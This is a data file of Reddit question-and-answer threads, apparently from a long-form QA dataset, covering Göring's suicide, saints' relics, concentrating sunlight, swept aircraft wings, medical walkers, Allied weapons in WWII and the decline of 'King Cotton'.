{"q_id": "66gxjd", "title": "Hermann G\u00f6ring committed suicide in prison by ingesting cyanide. How was he able to get access to cyanide while in prison?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/66gxjd/hermann_g\u00f6ring_committed_suicide_in_prison_by/", "answers": {"a_id": ["dgii4e4"], "score": [1104], "text": ["It is important to remember that G\u00f6ring was under the spell of a morphine addiction when he was captured by the Americans and was convinced that they would treat him with respect and dignity because he had been a close-aid of Hitler, and was of course, the Reichsmarschall.\n\nAt the behest of Eisenhower, however, the American command was to treat all the arrested members of the Nazi hierarchy as prisoners and not men who, despite the grave consequences of their actions, had once held positions of power and privilege in the 3rd Reich. The commandant in charge of the Nuremberg prison was an American colonel*|, who on meeting G\u00f6ring, stripped him of the large quantity of morphine he had brought with himself and based on the advice of doctors, gradually reduced his dosage of 20 pills a day to the point where G\u00f6ring would be forced to rehabilitate his drug-addled mind and be fit for the ensuing trials.\n\nAfter the suicide of Robert Ley, there was a glaring suspicion amongst the Americans that more prisoners would try to commit suicide themselves. Stricter rules were thus enforced. \n\nThe most commonly accepted view is that during his time as a prisoner, G\u00f6ring was able to build influence on the American guard in charge of his cell through his natural charm and charisma now that the effects of his addiction had weaned off. Before getting caught, he had hidden a cyanide capsule inside a jar of cream which he was able to retrieve by asking his cell guard to get it for him, just hours before the hangings were to take place. \n\nAfter the final verdict that of death-by-hanging, G\u00f6ring wrote to Eisenhower insisting that instead he should be shot by a firing squad. This was denied and definitely exasperated G\u00f6ring enough to try and cheat the Americans somehow. His dead body had one eye shut and the other open. For the Americans, it was a bitter realisation that G\u00f6ring ended up having the last laugh even in death.\n\n*Source: The Nuremberg Diary by Gustave Gilbert. \n*| Thanks, /u/eternalstudent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ufccz", "title": "Can a historian or someone knowledgeable in history tell me what it was like to be the guy that cuts up the bodies of the \u201csaints\u201d to be distributed throughout the world\u2019s churches as relics?", "selftext": "I am a Protestant American who married a Roman Catholic Italian and we live in Italy. Since it is impossible for me to find a local Baptist church here in my small Italian town, I am more than happy to attend mass with my husband. I am fascinated with the concept of relics, the body parts of saints that are housed in elaborately decorated boxes in dedicated churches. There is a local church here that supposedly has a piece of a finger of St. Valentine. I wonder what the reputation was (is?) of the guy whose job it was to chop the Saints into tiny pieces. Was he held in high regard? Was he a priest? A \u2018coroner\u2019? How many of them were there?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/ufccz/can_a_historian_or_someone_knowledgeable_in/", "answers": {"a_id": ["c4uwabq", "c4uwat1", "c4v0f8a"], "score": [4, 7, 2], "text": ["Ha, I like this question. I'll lay a bit of Catholic history upon ya.\n\nThe veneration of saints is an old, old tradition. [There was a 'Letter to the Smymenas' written by St. Ignatius of Antioch around 110 AD that discussed celebrating the martyrdom of St. Polycarp, and historians typically point to when discussing the history behind veneration](_URL_1_). Saint Jerome, a very important theologian who lived in the late 4th, early 5th centuries, sort of laid out the law that Catholics cannot bow or adore relics, they can just use them to remember the lives of saints and martyrs\n\nSo the disturbance of martyrs and saints was not allowed. Instead they built shrines around the bodies. Then Christians decided they wanted to be buried next to the saints - maybe they thought that they could absorb some holiness by proxy or something - and things got a little crowded. As forces began to invade Rome, restrictions on relics relaxed. I mean, when the city is burning around you, you can't take the Saint's entire sarcophagus from the crypt but you can at least grab the skull. By 787 AD the Council of Nicaea decreed every altar should have a relic, so dismemberment had been happening for years before it.\n\n[The schism](_URL_0_) also had a bit to do with it. The Eastern Empire was all in a huff that they didn't have any saints to bury their dead next to, venerate, and build altars around. So they began to unearth and bring bodies back to the East. Conservative ecclesiastical historians will still point to the East and say it is their fault that dismemberment began - that they had no qualms about cutting up the bodies of martyrs. Of course this is probably anti-Eastern church propaganda and dismemberment began as the church expanded and influential, foreign ecclesiastics wanted their own relic. But, when possible, they would try and distribute non-corpse related relics - things like a cut of clothing or chains from the prison they hung in. \n\nNow, as to your actual question, the dismemberment of bodies to create relics fell to two types of people - the first were holy men, typically a monk or a Bishop, who fasted and prayed before unwrapping a body. The second was whoever was willing to go down into a crypt, break of a couple pieces of a corpse, and bring them back up. The latter was never officially sanctioned by the Church, but there are plenty of relics out there that came to the Church through less than scrupulous means. The sale of relics had officially been banned since the enactment of the Theodosian Code of the fifth century, which said 'nemo martyrem distrahat, nemo mercetur' or, essentially, you can't cut up and sell the bodies of saints. But that never kept people from going down into an open grave in a 'holy area', cutting off a few toes, and selling them to tourists. And, sometimes, the more corrupt church officials would see to it that a nice relic would make its way to a particular house or church after receiving a very kind donation. \n\nBut if there was a request for a relic from the body of a saint, and it was approved by the church, it was typically only done with the utmost respect for the body. A little bit of bone would be taken from the altar of one church and paraded to the new church before being installed. ", "A saint wouldn't have been cut into pieces right after his death. Usually it takes some time until the church \"elevates him to the altar\". This is done by canonisation, a formalized process since the 11th/12th century. When the church recognized someone as a Saint, they either built a church on top of his grave or put his body under an altar.\n\nIn the early church, only a martyr received this veneration. But it became the norm that an altar had to placed on top of such a burial site. The theological reasoning was that the Saint was in heaven and during the mass there would be a sign of heavenly presence in the altar.\n\nWith the adoption of Christianity by the Roman Empire as state religion, martyrs became rarer and while the church started to canonize non-martyrs, they still didn't have enough saints for the new churches.\n\nThis lead to the tradition that relics were \"translated\". Usually one older church adopted a newer one and gave them relics. They also did that to make their own saint more important. The grave was opened and a bone was removed and brought to the new church - usually with a big procession and festivities.\n\nYou also had cases where conquering troops took parts of the relic shrine and brought it to their own city. \n\nThe church prohibited the selling of relics, and such a law clause is a sign that this was happening, too.\n\nSo, you wouldn't have had someone doing a messy job directly after a Saint's death, but merely someone taking away bones from a skeleton. I don't know who did this, but I suppose this act would have been performed by the bishop or the priest (assisted by some servers). They saw the remains of Saints as something holy, so a cleric would be the proper person to do this.", "If you are interested, there is a fascinating book called *Furta Sacra* by Patrick Geary about the black market trade in relics in the middle ages.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/East-West_Schism", "http://www.newadvent.org/fathers/0102.htm"], [], []]}
{"q_id": "3r79o3", "title": "Is it possible to reach higher local temperature than the surface temperature of the sun by using focusing lenses?", "selftext": "We had a debate at work on whether or not it would be possible to heat something to a higher temperature than the surface temperature of our Sun by using focusing lenses. \n\nMy colleagues were advocating that one could not heat anything over 5778K with lenses and mirror, because that is the temperature of the radiating surface of the Sun.\n\nI proposed that we could just think of the sunlight as a energy source, and with big enough lenses and mirrors we could reach high energy output to a small spot (like megaWatts per square mm2). The final temperature would then depend on the energy balance of that spot.  Equilibrium between energy input and energy losses (radiation, convection etc.) at given temperature.\n\nCould any of you give an more detailed answer or just point out errors in my reasoning? \n\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3r79o3/is_it_possible_to_reach_higher_local_temperature/", "answers": {"a_id": ["cwljdep", "cwlkz5f", "cwlq2nc", "cwlrztp", "cwltr72", "cwlugv4", "cwlwgdg", "cwly5xz", "cwlzczu", "cwlzi4d", "cwm3qtb", "cwm7b4q", "cwm9d57", "cwmcgc6", "cwmenx2", "cwmfnha"], "score": [953, 85, 4, 4, 10, 25, 217, 3, 2, 2, 12, 4, 5, 2, 5, 5], "text": ["No! The highest temperature you can achieve by simply concentrating sunlight is exactly the (effective) temperature of the sun. To understand why, think about what you are doing when you are concentrating light. Say you put a chunk of blackbody material (i.e. a perfect absorber) on the ground and allow it to be illuminated by the sun, [as shown here](_URL_1_). The sun has a finite [angular size](_URL_2_) of about 0.53 degrees, which occupies a small but finite part of the sky. Now when concentrating the light through lenses and such, effectively you are doing is you are increasing the angular size of the sun [as now shown here](_URL_0_). Now the best we can do is to increase the size of the sun to take up the entire sky (i.e. to span an entire hemisphere), which when you integrate the surface area and treat sunlight as a uniform source, yields a concentration factor of about 46,000. \n\nOnce you reach this maximal concentration, the absorber will reach a temperature T3, which will be equal to or smaller than the temperature of the sun (Ts), or about 5800K. The reason for this constraint is that at this point you can treat light as any old fashioned form of heat, and thermodynamics dictates that heat will flow from a hotter body to a colder one. In the scenario where the sun spans the entire hemisphere seen by the absorber, you reach this limit and the absorber can reach the temperature of the sun, before it will reach a steady state where its radiation losses will balance out further absorption of sunlight. ", "/u/cnaruka nailed the explanation (though I like to add, for clarity, that the problem is there's only so much solid angle.  You can't increase the apparent size of the Sun above 4pi steradians, which is the apparent size of the Sun, seen from inside the Sun....)\n\nBut, notwithstanding all that, you *can* reach a higher local temperature than the surface temperature of the Sun using a combination of focusing lenses and mirrors, and a heat engine.  For example, you could put the hot end of a Stirling engine at the focus of your lenses, use the Stirling engine to generate electricity, and use the electricity to heat something up hotter than the surface of the Sun.", "This has been answered, but I would like to add that I had a similar conversation once and was under the same impression as you are.  I believed that energy would behave like a physical force...such as if you have four 1'x1' 10lb blocks laid in a square you would be applying 10lbs per square foot over a 4sqft area, but if you stacked them you could apply 40lbs to a 1sqft area.  Made perfect sense to me, but it was flawed thinking.  It took me quite a bit to break my mind away from applying similar thinking to everything.\n\nedit ~ past/present tense", "No. If you were to stand in the spotlight and look around, the more they focus it on you the bigger the sun would look. But it wouldn't get any brighter. The best they can do is a huge lens and mirror array that completely surrounds you, which will bring you into thermal equilibrium with the sun.\n\nThe thing you have to remember is that the sun is not a point source. This limits how much you can focus it. If it was a point source, it would have to have infinite temperature to emit any light at all, so you could increase your temperature arbitrarily.", "Since the OP's text description added \" big enough lenses ***and mirrors*** \" the answer's more \"YES\"!\n\nSimply create a sphere of mirrors around the sun, so all the energy that would have radiated away reflects back instead.\n\nEverything inside that sphere (including the sun itself) will heat to higher than the current temperature of the sun, simply because the energy has nowhere to go.\n\nUnless you want to argue that doing so moves the goalposts and you need to get hotter than the increased temperature.\n\n", "I am missing something. Is it claimed that you cannot create a lens that can, for example, focus 1 square meter of incident sunlight to a point of say 1 mm in diameter? If one is able, then that would be a gain of 1 million. So the earth surface sunlight of 1000 watts per meter in this case would be concentrated to 1 mm at something close to 1000 Mega watts per square meter. Let us assume that the target is a sphere only 1 mm in diameter. At equilibrium the target must radiate all the energy it receives and its surface is about a six times the diameter so this seems like about 160 Megawatts per square meter. I have read that the sun's surface is only about 63.3 Mega W/m2.\n\nEdit: So I take the point from other posters that the target in this example cannot actually get hotter than the sun although it seems as if it must be brighter per square meter since it would be radiating (mostly be reflection then?) more watts per square meter than the surface of the sun.\nAnd to the question of whether it is possible to focus the sun to such a small point it seems to me that almost every digital camera can do exactly this (albeit with a lens of less than a meter) since a photograph subtending 90 degrees could include 180 solar disks upon its image which is typically focused on a 48mm wide CCD (about a fourth of a mm per solar diameter).", "Optics are always reciprocal (symmetric). Say you make a large lense and focus the sunlight onto a small bead. Now, the bead would get hot and start radiating itself, back towards the sun. If the spot would get hotter than the sun, it would radiate more intensely than the sun as well, since the sun is approximately a black body radiator. The same lense would focus the light onto the sun. The spot would therefore heat up the sun, rather than the other way around. ", "I had this debate with a colleague a couple of years ago and I presented the following argument that he didn't have a good explanation to.\n\nLets say that a mad scientist builds a humongous mirror (perhaps by covering the surface of the moon with a fresnel like structure). This mirror is able to concentrate the sunlight to a one meter circle. The consensus on this thread seems to be that an unlucky space probe placed in this spot will never be able to be heated to more than the surface temperature of the sun (under the assumption that the space probe is an ideal black body). Fair enough.\n\nHowever, lets suppose that this allegedly mad scientist also places a filter before the mirror that blocks all photons with a wavelength longer than 400 nm.\nSince the spectrum of the photons that reaches the spot now has an apparent color temperature which seems to be considerably hotter than the sun it should be possible to get the blackbody up to a higher temperature than the surface of the sun. Is this correct so far?\n\n\nIf so, what happens if another mad scientist builds an even larger, unfiltered, mirror and aims it at the blackbody? Since the spectrum that reaches the unlucky space probe is now cooler, this seems to mean that it is possible to *cool* the blackbody by concentrating even more sunlight on it. Is this correct? If not, where is the mistake in the reasoning above?\n\n(Those of you who are teachers, feel free to steal this as a question for your next exam :)\n\nEdit: Ok, so the fault is, as far as I can see from reading for example \"Thermodynamic efficiency of solar concentrators\", that the mirror I described will simply not be possible to build.", "Here's a thought experiment I hope helps.\n\nImagine we have a perfect experimental vacuum space to use.\n\nIf you have an ice cube that is facing a room temperature sandwich, the sandwich will give some of it's heat to the ice cube. When will that transfer stop? When they are both the same temperature (and likely the ice cube is now a bubble of water). \n\nIf you had a twin sandwich face a hot cup of tea, the hot cup of tea would radiate some of its energy to the sandwich, until the two of them were the same temperature. \n\nForget thinking about the sun as the energy source, instead think of it having a certain value of energy. Through radiation it will try to find balance with everything it's facing. So, if there was a nearby hotter star, or science fiction rocket, or point on some nearby matter you are holding lenses over, or anything at all that had more radiant energy than the sun, the sun would absorb that radiant energy. \n\nJust like the sandwich will try to find balance with either an ice cube or a cup of tea.\n\nLooking back, I probably shouldn't have used a sandwich as an example, but I'm leaving it in there for poetic reasons. Maybe a furnace, a hot cup of tea, and and ice cube would have been better.", "What if you have a focusing lens out in space,  with a gigantic diameter?\n\nIt seems to me like by taking energy from a large enough area, and concentrated it small enough, you could end up with temperatures exceed the average surface temperature of the sun.", "People are thinking about this based on averages, which they shouldn't.\n\nYes, locally and for a finite amount of time we can achieve temperatures higher than the surface of the sun. Anyone who says otherwise doesn't want to think.\n\nWe can pump energy into an object with a higher power than the object will radiate out.", "There seems to be a lot of confusion here so I will weigh in with a couple of points that might help.\n\n1- The Sun's surface is not a photon factory, all the energy generation happens inside and the surface is just glowing because it is hot. (OK very simplified but bear with me here)\n\n2- Any two surfaces facing each other (even through lenses) exchange radiant energy (photons) and the net flow is from hotter to colder. This is similar to conduction but relies entirely on photon transfer.\n\n3- If you gather all the photons from the surface of the sun and focus them an a small are, this area will quickly heat up (of course).  While it is cool it will readily accept radiation to heat up and re-radiate a small amount of this energy. As it gets hotter it will be re-radiating more energy and still receiving the same amount. Once it hits the same temperature, it will re-radiate all it receives and so maintain that temperature.", "Yes.  People are trying to apply principles of [Radiative Equilibrim] (_URL_0_) and perfect blackbody radiation.  Both are simply tools of physics theory used to teach the concepts- neither are factual.  There is no equilibrium between the object being irradiated and the sun- it will not transfer radiation back to the sun- it will begin to irradiate the objects around it, but considering that the inefficiency of the radiation of real world objects, the temperature of the object would continue to rise.  Real world equilibrium would be much hotter than the surface of the sun, and every time you brought another array of lenses/mirrors to focus on the object, it would reach a new equilibrium with a hotter temperature.\n\n", "You have a target you want to heat up, maybe a marshmallow.  \nTake that marshmallow into space and put it right next to the sun.  \nWhat is the temperature of the marshmallow?  \nIt is in thermal equilibrium with the surface of the sun.  \nThe sun and marshmallow are touching each other.  \nAfter a while no heat moves in either direction.  \nThe marshmallow and the sun are the same temperature.  \nNow put mirrors and lenses around the marshmallow.  \nThe mirrors are out there in space next to the sun.  \nMore sunshine hits the marshmallow now.  \nThe marshmallow and sun are touching harder.  \nThe marshmallow and sun are still in thermal equilibrium.  \nThe marshmallow and sun are the same temperature.  \n", "The top comments might be incorrect due to neglecting other parts of the system, and ways a lens system could be constructed.\n\nIff it is possible to:\n\n1. construct a lens system such that the entire energy output of the sun is channeled into e.g. a basketball-size object;\n\n2. construct this lens system so that it has *small angular size* compared to the target object, and reflects the total sum of the Sun's energy output to the target as a beam;\n\nthen the object will receive the grand total of the Sun's energy output; and will *not* radiate most of it into the Sun, but into space. The object will heat up to a temperature higher than the Sun, to emit the same amount of energy from its much smaller surface.\n\nThe catch may likely be that it's not *possible* to construct a system that satisfies properties (1) and (2) with just lenses.", "Here's a little thought experiment.  Let's say I have an infrared heat lamp with a nice flat heat source that's 100mm2. Let's say that every mm2 is radiating 1 watt of energy so I'm outputting 100 watts.  Now I take a a magnifying glass and I focus that 100 watts of IR energy down to a single square mm.  Are you saying that that single square mm wouldn't reach a higher temperature than the surface of the heat lamp?\n\nHere's another one. If i focus 100 lasers on a single spot wouldn't that spot reach a higher temperature than any of the single lasers?\n\nIn both cases you've got a diffused energy being concentrated into a smaller spot.  The concentrated energy will always be a higher temperature than the diffused energy.  The total energy will be the same on both sides but I'm pretty sure the concentrated side will be hotter.\n\nHere's one more. Lets say I'm standing on the surface of the sun and basking in it's 27,000,000 degrees Fahrenheit.  Now I take my one meter magnifying glass and I focus the light coming directly on the surface down to a much smaller point.  Wouldn't that point be hotter than the surface?\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/S2b3nmS.png", "http://i.imgur.com/9ViAUqu.png", "https://en.wikipedia.org/wiki/Angular_diameter"], [], [], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Radiative_equilibrium"], [], [], []]}
{"q_id": "2hj5l5", "title": "Is there an advantage to airplane wings that resemble a \"V\" shape?", "selftext": "Take for example [this](_URL_0_) image. Why are the wings shaped like that in oppose to ones that go straight forward? Is there an advantage to doing this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2hj5l5/is_there_an_advantage_to_airplane_wings_that/", "answers": {"a_id": ["ckt6l5l", "cktewgs", "cktfemb"], "score": [15, 2, 8], "text": ["Tag this for engineering, its most practical for an aerospace person to answer it, which i am not, but i can get the ball rolling.\n\nMy understanding is that the V is useful for high velocity flight.  When i mean high velocity, i mean supersonic to hypersonic speeds.  The pressure cone created by supersonic flight can be damaging to the surroundings (windows breaking from sonic booms), but also the aircraft itself.  If parts of the craft were to be in front of the cone while the majority of it were to be behind, the forces applied between the sections of the craft could destroy it.  The V shape allows for a larger lift surface that still is behind the cone.  For faster velocities, the cone gets narrower, and so the V will be a more acute angle.\n\nEDIT: here is the wikipedia article on this topic:\n\n_URL_0_", "It is an attempt to stop a shockwave forming on the wing. Shockwaves are generally bad as they increase drag and therefore you burn more fuel.\n\nShockwaves only form near the speed of sound, so you only need sweep on your wing if you are travelling near or above the speed of sound. Hence you don't see sweep on all aircraft wings. There are actually some aerodynamic advantages to forward swept wings, however their are large structural draw backs to this type of design.", "The commenters have the answer down fairly well for supersonic aircraft. That said the image is of a B-2 Stealth Bomber which is a subsonic aircraft. \n\nThe swept wings on this bird are for a different reason. \n\nThe B-2 was designed to penetrate heavily defended airspace and avoid radar detection. They fly straight into active radar detectors pretty much head on (they do turn to fly between radar sites and thus \"weave\" their way in).\n\nSweeping the wings back cause radar energy to reflect away from the source. Imagine looking at the leading edge of a straight wing as a mirror. If you shine a flashlight from the front you'll see the light in the mirror. \n\nIf you rotate the mirror 45 degrees then the waves are reflected away from you and you won't see the flashlight. "]}, "title_urls": [], "selftext_urls": ["http://upload.wikimedia.org/wikipedia/commons/b/be/USAF_B-2_Spirit.jpg"], "answers_urls": [["http://en.wikipedia.org/wiki/Swept_wing"], [], []]}
{"q_id": "2cpxrj", "title": "why don't manufacturers of medical walkers redesign them so that people don't have to put tennis balls on the rear legs?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2cpxrj/eli5_why_dont_manufacturers_of_medical_walkers/", "answers": {"a_id": ["cjhugqx", "cjhwsjx", "cji117q", "cji4ve8", "cji7s9d", "cji90vf", "cji986w"], "score": [161, 116, 8, 2, 7, 2, 2], "text": ["The legs are designed to have a lot of friction. Some of the elderly don't like this because it's loud, hard to slide across the floor, leaves marks, etc. But at the end of the day they're sabotaging a safety feature.", "Because you're supposed to walk with them, not slide them along like many people do.\n\nA true \"Walker\" doesn't have wheels on the front.  Its four legs with anti-skid ends on them to prevent the walker from sliding and causing the person using it to fall.\n\nThe other contraptions, though they are called walkers, are technically different.\n\nThe idea of the walker is to get someone to be able to stand upright and balance, but to allow them to walk for rehab purposes.  Because their legs are not strong enough to support them, they are able to use their arms for that, and to walk to get their legs stronger.  They are supposed to step, stop, move the walker, step again, only momentarily relying on their legs and balance to hold themselves up.\n\nPeople using walkers with wheels and tennis balls are using something to help them maintain balance, but have enough leg power to not have to commit a lot of weight to their arms.  They call them walkers also but it is kind of a misnomer.\n\nMy Grandmother had one of the ones like you describe.  It had 4 wheels and handbrakes and I believe the term for it was a \"mobility assistance device\" or similar when the insurance was billed for it.  It had a seat you could flip down so you could turn around and sit if you needed to as well.  A standard rehabilitation walker doesn't have that option.", "They have redesigned them.  Now you can choose between a walker and a rollator which is a walker with four wheels and hand breaks.  Often it also has a small seat that can be flipped down.  The main disadvantage is rollators tend to be heavier, and that they can roll (obviously) if you dont apply your weight straight down or use the break.  Our physical therapists recommend them for most fairly active patients who just need a little support - and especially my patients with heart or breathing trouble who may need to rest.  But in sicker / less stable patients going only from bed to toilet - a non rolling walker may be used.  I guess the tennis ball approach is kinda half way in between, but I'm not a therapist.\n\n_URL_0_", "Some walkers are actually designed with wheels. My mom uses one that has wheels that can be locked in place using handbrakes.", "\"Walkers\" and \"Rollators\" are governed in the US by federal regulations (21 CFR 820). Although theses devices are classified as Class 1 devices (safest possible classification), they still must be safe for them to be on the market. The reasons the medical device manufacturers specifically did not tailor their products to assists with the tennis ball method is because then they would be liable. When they did the safety and business risk analysis they have found unacceptable risk to place those design features. Especially if they state in the mountain of paperwork not to do it, and you do it - they are off the hook. Medical device companies make decisions based first on patient/user risk and secondly on business risk. They simply know they would lose lots of money - which makes a poor business case.", "Costs less to replace the tennis balls than the rubber feet when they get worn out from sliding on the concrete.", "It's just that rubber feet are expensive and wear out quickly. I broke my hip and had to use a walker for three months. The set of rubber feet wear out quickly, even though they are very thick. The tennis balls wear out also. But since I had a few laying around, I thought I'd save a few bucks by just using the tennis balls."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.m.wikipedia.org/wiki/Walker_(mobility)"], [], [], [], []]}
{"q_id": "2zgv9r", "title": "Did the Axis powers fear any allied weaponry the same way the allies feared the Tiger Tank?", "selftext": "We always hear about the tiger tank and how formidable it was, as well as other Nazi weapons like the rockets. Did the allies have weapons that struck the same fear on the axis?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2zgv9r/did_the_axis_powers_fear_any_allied_weaponry_the/", "answers": {"a_id": ["cpiv6pp", "cpiwyo4", "cpix38u", "cpj4rfg", "cpj5eha"], "score": [435, 190, 44, 66, 36], "text": ["Allied close air support generally struck the same type of fear into the Nazi ground forces after the Normandy invasions. By that time, the Allied air forces had nearly complete control over the skies. Furthermore, the Allies always had fighter-bombers loitering over the front waiting to get a call to attack German positions. The Germans came to be terrified of the Thunderbolts and Typhoons for their tenacious and accurate strikes. \n\nA good book to read on this sort of thing is *Hell Hawks!* by Robert Door. It follows a P-47 squadron through the war and gives very detailed narratives of their ground strikes and missions.\n\nAnother decent read is *Zemke's Wolfpack*. This one might not be printed any more as I got it probably 20 years ago, but it is about the 56th FG, who escorted bombers, strafed ground targets, bombed ground targets, and basically did everything.", "The Soviet [Katyusha Artillery](_URL_0_) was effectively the horror of many German soldiers on the Eastern Front. One of the first Rocket Artilleries of the war, the Soviet employed the Katyusha extensively with their signature, massive artillery bombardments that always preluded their attacks and offensives. The effect that the Katyusha had on German morale and willpower was incredibly demoralizing. Due to the shrieking and terrifying sound that they produced, and the sheer amount of death and destruction they would be able to inflict, many German soldiers were simply shattered by how brutal they were. Combined with conventional howitzer artillery, Katyushas could make artillery bombardments last for minutes, during which many Germans would lose their nerve. Just for perspective, though they were somewhat inaccurate, a proper salvo from 4 Katyusha's could produce the equivalent destruction of 72 guns.\n\nThe T-34 was also a feared tank to a reasonable degree before the arrival of the Tiger tanks and the Panther. The Panzer III and Panzer IV just weren't powerful enough to defeat the T-34, and had to charge T-34's and fire point blank at times to actually destroy them. The T-34 was the Soviet equivalent of the Tiger between 1941 and early 1942, until the Germans found a sustainable and efficient way of dealing with them.\n\nAlso, like the_8th-henry mentioned, Allied air power was effectively the bain of the German army towards the end of the war as the Luftwaffe disintegrated. Notable Generals, like Erwin Rommel, respected the sheer strength of the Allied airforces. On both of the fronts, once the Luftwaffe's role was mitigated, Allied airpower became demoralizing to the German troops, who seemed to be bombed and hurried by planes constantly without any aid of their own.", "Allied air power, especially towards the end of World War 2 was especially fearsome to the Germans. The RAF and USAF built very capable four engine long ranged bombers, particularly the Lancaster and the B-17 Flying Fortress. Allied fighters were also formidable. After the Battle of Britain the RAF Spitfire became a household name. Though the Germans had excellent fighters with the Messerschmitt 109 and the Folk Wolf 190, air wars over France soon gave way to the RAF. During the Normandy invasion in 1944 the skies belonged to the allies. When the USAF came in 1942, with the longer range P-51 Mustang and devastating P-47 Thunderbolt, along with the Spitfires, the allies gained air dominance near the end of the war. Even the Messerschmitt 262 jet could not stop the allied air force. Despite its incredible speed, allied fighters were still able to take it down with Mustangs and Spitfires. In the end, it was the bombers, 1000 planes a night, decimating cities like Dresden, that wrought fear into the Germans.   ", "[The Proximity Fuze](_URL_0_)\n\n > The Pentagon had decided it was too dangerous to have a fuze fall into German hands because they might reverse engineer it and create a weapon that would destroy the Allied bombers, or at least find a way to jam the radio signals. The Pentagon refused to allow the Allied field artillery use of the fuzes in 1944, although the United States Navy fired proximity-fuzed anti-aircraft shells during the July 1943 invasion of Sicily.[22] After General Dwight D. Eisenhower demanded he be allowed to use the fuzes, the VT fuzes were used in the Battle of the Bulge in December 1944, when they made the Allied artillery far more devastating, as all the shells now exploded just before hitting the ground. It decimated German divisions caught in the open. The Germans felt safe from timed fire because they thought that the bad weather would prevent accurate observation. The effectiveness of the new VT fused shells exploding in mid-air, on exposed personnel, caused a minor mutiny when German soldiers started refusing orders to move out of their bunkers during an artillery attack. U.S. General George S. Patton said that the introduction of the proximity fuze required a full revision of the tactics of land warfare.", " >  Did the allies have weapons that struck the same fear on the axis?\n\nSure - prior to the introduction of the Tiger (but more influentially, the up-gunning of the Panzer IV and StuG assault guns with a high velocity 75mm cannon) and the introduction of a new generation of infantry anti-tank weapons in mid-1942, the German tanks and AT units were decisively inferior to their opponents' heavy tanks, such as the French [Char B1 bis](_URL_0_), and the Soviet [T-34 and KV](_URL_1_) models.\n\nOn numerous occasions this tactical inferiority provided serious setbacks, and even outright panic amongst German troops - who had derisively nicknamed their ubiquitous 37mm AT guns 'door-knockers' due to their almost complete uselessness against certain enemy AFVs. KH Freiser relating an encouinter with French Chars at Stonne in 1940 from *The Blitzkrieg Legend*:\n\n >  This situation produced the first signs of panic in the elite Gro\u00dfdeutschland Regiment. The soldiers felt that they were powerless against these monster tanks. Most of all, they were terrified by the thought of being crushed by the tracks of these steel giants. Some infantrymen now simply took off, but the crews of the antitank guns continued to hold their positions, although the situation became increasingly hopeless.\n\nAn Red Army report about an attack by Soviet tanker Pavel Gutz from early fighting during Barbarossa:\n\n >  The Germans started bombing the column\u2026 A shell from a German anti-tank gun bounced off the tank's heavy armour\u2026 Gudz, who was the tank's gunner as well as its commander, fired a single shot in return and the gun was destroyed. He and his platoon went on to knock out five German tanks, three armoured personnel carriers and several cars\u2026 After lunch the Germans attacked again. Gudz knocked out three more tanks. His driver Galkin rammed another German tank, dislodging its caterpillar track and forcing it into a ditch. The fields were covered with burned-out tanks and dead Germans.\n\nAn account by German general Erhard Rauss from Army Group North:\n\n >  It was not so much the numerical superiority of the enemy which made the situation precarious for our command and troops, but the totally unexpected appearance of colossal tanks for which German tanks and anti-tank weapons appeared to be no match\u2026 Even the concentrated fire of the artillery and all other heavy weapons of the Kampfgruppe was not able to keep off the steel pachyderms. Though enveloped in fire and smoke, they immediately started attacking and crushed everything in their paths. Untroubled by the shower of heavy howitzer shells and earth falling down upon them, they attacked road block 121 in spite of the flanking fire of the anti-tank guns from the wooded areas, rolled over the anti-tank guns dug in there and broke into the artillery area.\nAbout one hundred friendly tanks, one-third of them were Panzer IVs, now assembled for a counterattack. Some of them faced the enemy in front, but the bulk made an assault from the flanks. From three sides, their shells hammered against the steel giants, but the effort to destroy them was in vain. On the other hand, very soon we had casualties ourselves.\n\nBy most/all accounts, the Germans were both immensely impressed, and often terrified by the T-34, and these traumatic tactical experiences lead directly to the design of the German heavy tanks of the late war (the Panther began life, as basically a bootleg T-34).\n\n\n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Katyusha_rocket_launcher"], [], ["http://en.wikipedia.org/wiki/Proximity_fuze#World_War_II"], ["http://en.wikipedia.org/wiki/Char_B1", "http://en.wikipedia.org/wiki/German_encounter_of_Soviet_T-34_and_KV_tanks"]]}
{"q_id": "63e95u", "title": "Why did we stop calling the U.S. South \"King Cotton\"?", "selftext": "During the 19th century, the southern states were called \"King Cotton\", for the sheer amount of cotton we produced. What happened that caused that region to lose the title? Do they still produce cotton now in those regions? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/63e95u/why_did_we_stop_calling_the_us_south_king_cotton/", "answers": {"a_id": ["dfuc141"], "score": [2], "text": ["Cotton became king in the South after Eli Whitney invented the cotton gin in 1792. Short fiber cotton thrived in the South, and the cotton gin allowed it to be processed efficiently. That much comes straight the text book I use for my sophomores. \n\nCotton was still the predominant cash crop in the South until the 1910s. The boll weevil came from Mexico to Alabama (I'm nor certain when it arrived in other states) in 1915. Farmers lost their entire cotton crop, in some cases. It was in the 1910s that Southern farmers first began growing peanuts on a large scale. The Wiregrass region is still a major producer of peanuts, and of course, Alabama's Tuskegee Institute is closely associated with George Washington Carver, and his many uses for peanuts. Enterprise, Alabama even has a statue celebrating the boll weevil, for the economic growth it brought to that part of the South.\n\nIf you're interested in the Wiregrass region or the creation of a postbellum Southern mythos, I recommend Art Remillard's *Southern Civil Religion.*\n\nIf you're interested in Southern agriculture and the poor whites who worked in agriculture after the Civil War, I'd recommend *Poor But Proud,* by Wayne Flynt.\n\nLet me know if you have any questions! Hope this helped!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
